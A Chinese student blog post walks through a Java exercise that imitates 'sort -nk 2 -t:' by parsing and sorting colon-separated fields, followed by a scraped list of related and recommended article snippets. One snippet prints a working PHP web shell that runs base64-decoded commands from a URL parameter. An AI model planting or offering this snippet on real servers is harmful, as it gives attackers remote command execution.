关于本次课后的一些话

关于这次课上的关于sort -nk 2 -t: sort.txt的实验没能在课上做出,有自身的知识不够,没能灵活运用所学知识,以及在当时课上走了会神,回过头来已经不知道该干些什么了,以至于在哪里手忙脚乱脑子一片空白。总之,你投入多少,就能获得多少,学与不学只在那一念之间。

我的实验过程

  • 先弄清楚老师给的模板
public class Mysort {
public static void main(String [] args) {
String [] toSort = {"aaa:10:1:1",
"ccc:30:3:4",
"bbb:50:4:5",
"ddd:20:5:3",
"eee:40:2:20"};
System.out.println("Before sort:");
for (String str: toSort)
System.out.println(str);
//sort
int [] k3 = new int[toSort.length];
for (int i = 0 ; i < toSort.length ; i ++){
String [] tmp = toSort[i].split(":");
k3[i] = .....
}
Arrays.sort(k3);
System.out.println("After sort:");
Arrays.sort(k3);
for (int i = 0 ; i < k3.length;i++){
for (int j = 0 ; j <toSort.length;j++)
if (k3[i] == ) {
System.out.println(toSort[j]);
}}
}
}

我认为最关键的代码有三:

  • 1.String [] tmp = toSort[i].split(":")
  • 2.k3[] = ...
  • 3.if (k3[i] == ...)

首先,数组tmp是会随着循环而改变的。

    for(int i = 0;i < toSort.length;i++){
String[] tmp = toSort[i].split(":")
}
/* i=0 , tmp = {aaa , 10 , 1 , 1}
i=1 , tmp = {ccc , 30 , 3 , 4}
i=2 , tmp = {bbb , 50 , 4 , 5}
....
*/

其次,实验的目的是为了达到类似命令:sort -nk 2 -t:的效果所以有k3 = { 10 , 30 , 50 , 40 , 20}

    k3[i] = Integer.parseInt(tmp[1]);
  • 程序的最后一步中定义了一个循环,而循环中又套用了一个循环,而这么做的目的为:
    for (int i=0;i<k3.length;i++){
//从k3[0]循环到k3[k3.lenrth-1]
for (int j = 0 ; j <toSort.length;j++)
//每个k3[i]与从toSort[0]到toSort[toSort.length-1]的每个元素一一匹配
if (k3[i] == Integer.parseInt((toSort[j].split(":"))[1])) {
System.out.println(toSort[j]);
}
}
  • 最后要解决的问题是如何匹配:

我首先想到的是

    k3[i] == Integer.praseInt(toSort[j].subString(4,6))

但后来我认为此方法具有一般性,如果toSort数组中的元素为:aa:10:1:1那么程序就达不到要求。

突发奇想,有了以下尝试:

k3[i] == Integer.praseInt((toSort[j].split(":"))[1])

通过尝试我知道toSort[j].split(":")这是一个数组那么它的第二个元素就是我们相比对的数。

我的代码

    public class Mysort {
public static void main(String [] args) {
String [] toSort = {"aaa:10:1:1",
"ccc:30:3:4",
"bbb:50:4:5",
"ddd:20:5:3",
"eee:40:2:20"};
System.out.println("Before sort:");
String [] tmps = toSort[0].split(":");
//System.out.println(tmps[1]);
for (String str: toSort)
System.out.println(str); int [] k3 = new int[toSort.length]; for (int i = 0; i < toSort.length;i ++){
String [] tmp = toSort[i].split(":");
// System.out.println(tmp[0]);
k3[i] = Integer.parseInt(tmp[1]);
}
// System.out.println(Arrays.toString(toSort[0].split(":"))); // System.out.println(k3[0]);
Arrays.sort(k3); /*for (int a = 0 ; a<k3.length;a++){
System.out.println(k3[a]);
}
*/
//System.out.println(Integer.parseInt((toSort[0].split(":"))[1]));
System.out.println("After sort:");
Arrays.sort(k3);
for (int i = 0 ; i < k3.length;i++){
for (int j = 0 ; j <toSort.length;j++)
if (k3[i] == Integer.parseInt((toSort[j].split(":"))[1])) {
System.out.println(toSort[j]);
}} }}

关于Mysort实验的补发博客的更多相关文章

  1. Oracle 0至6级锁的通俗解释及实验案例_ITPUB博客 http://blog.itpub.net/30126024/viewspace-2156232/

    Oracle 0至6级锁的通俗解释及实验案例_ITPUB博客 http://blog.itpub.net/30126024/viewspace-2156232/

  2. 20155325 2017-2018 1 课上测试、课下作业、实验——码云&博客链接汇总 《信息安全系统设计基础》

    第二周-课上 码云 https://gitee.com/bestiisjava2017/XinXiAnQuanXiTongSheJiJiChu20155325thl/tree/master/0927 ...

  3. 第七篇Scrum冲刺博客--Interesting-Corps

    第七篇Scrum冲刺博客 站立式会议 1.会议照片 2.队友完成情况 团队成员 昨日完成 今日计划 鲍鱼铭 各界面数据请求云函数设计及实现 代码交接及整体架构搭建 叶学涛 进行代码优化 和队友进行交接 ...

  4. 20162326 齐力锋 2016-2017-2 《程序设计与数据结构》 MySort.java 实验博客

    实验代码学习编程中的问题及解决方法 代码运行成功截图 首次代码运行出现的问题截图 问题1:无法从静态上下文中引用非静态方法 问题1解决方法及思考: split方法是非静态方法,需要借助对象来调用.我查 ...

  5. 201771030125-王英雪 实验一 软件工程准备一<构建之法与博客首秀>

    项目 内容 班级博客 点我呀! 作业要求 看这里! 课程学习目标 提出三个问题并以写博客的形式记录下来 参考文献 现代软件工程讲义 三个问题 问题一:软件工程究竟是什么? 在现代软件工程讲义一书中给出 ...

  6. 201771010117—马兴德—实验一 软件工程准备—掌握博客中MarkDown的使用以及通读《现代软件工程—构建之法》的总结

    实验一 软件工程的前期准备工作 在前期的准备工作以及老师上课的讲解中,我懂得了"软件=程序+软件工程"这句话的基本含义,以前只是对软件工程有一个很浅显的概念,现在在读了<现代 ...

  7. 201771030103-陈正丽 实验一 软件工程准备—<快速浏览 邹欣老师博客—读后感>

    项目 内容 <软件工程> 代祖华老师博客 作业要求 邹欣老师博客 学习目标 具体目标 在大概阅读邹欣老师的博客时,发现老师写了关于很多方面的内容,有基础的也有比较深奥的,这次阅读过程中主要 ...

  8. 201771030121-王国伟 实验一 软件工程准备—<问题提出与博客首秀>

    项目 内容 课程班级博客链接 https://edu.cnblogs.com/campus/xbsf/nwnu2020SE 本次作业要求链接 https://www.cnblogs.com/nwnu- ...

  9. php第一次实验个人博客网站的设计编写①

    先上效果图: 网页代码:index.html <!DOCTYPE html> <html lang="en"> <head>     <m ...

随机推荐

  1. poj 3104 Drying(二分查找)

    题目链接:http://poj.org/problem?id=3104 Drying Time Limit: 2000MS   Memory Limit: 65536K Total Submissio ...

  2. php中的base64写shell

    <?php system(base64_decode($_GET['info'])); #http://localhost/1.php?info=d2hvYW1p #这只是一个例子 ?>

  3. 调试应用程序(Debugging Applications)

    调试应用程序(Debugging Applications)¶ Phalcon中提供了提供了几种调试级别即通知,错误和异常. 异常类 Exception class 提供了错误发生时的一些常用的调试信 ...

  4. Linux实际用户(组)ID,有效用户(组)ID,设置用户(组)ID

    实际用户(组)ID: 标识用户是谁,这两个字段在登录时取自口令文件中的登录项. 有效用户(组)ID: 决定了对文件的访问权限,通常有效用户(组)ID等于实际用户(组)ID,谁运行有效ID就等于谁的实际 ...

  5. centos_7.1.1503_src_2

    farstream02-0.2.3-3.el7.src.rpm 05-Jul-2014 12:59 1.2M   fcoe-utils-1.0.29-9.el7.src.rpm 31-Mar-2015 ...

  6. gnu app url[web][5星]

    http://www.gnu.org/software/software.zh-cn.html http://linux.chinaunix.net/news/2010/12/07/1175310.s ...

  7. [How to]基于本地镜像的yum镜像源搭建

    1.简介 本文介绍如何在封闭环境(无外网)下安装离线安装本地镜像与基于本地镜像的yum镜像源. 2.环境版本交代: OS:CentOS-6.7-x86_64-minimal yum: yum-3.2. ...

  8. C语言inline函数(转)

    原文链接:http://blog.csdn.net/yuan1125/article/details/6225993 1  inline只是个编译器建议,编译器不一定非得展开Inline函数. 例如: ...

  9. kafka 设置消费者线程数

    http://blog.csdn.net/derekjiang/article/details/9053863 分布式发布订阅消息系统 Kafka 架构设计 - 目前见到的最好的Kafka中文文章 M ...

  10. hdu 2444(染色法判断二分图+最大匹配)

    The Accomodation of Students Time Limit: 5000/1000 MS (Java/Others)    Memory Limit: 32768/32768 K ( ...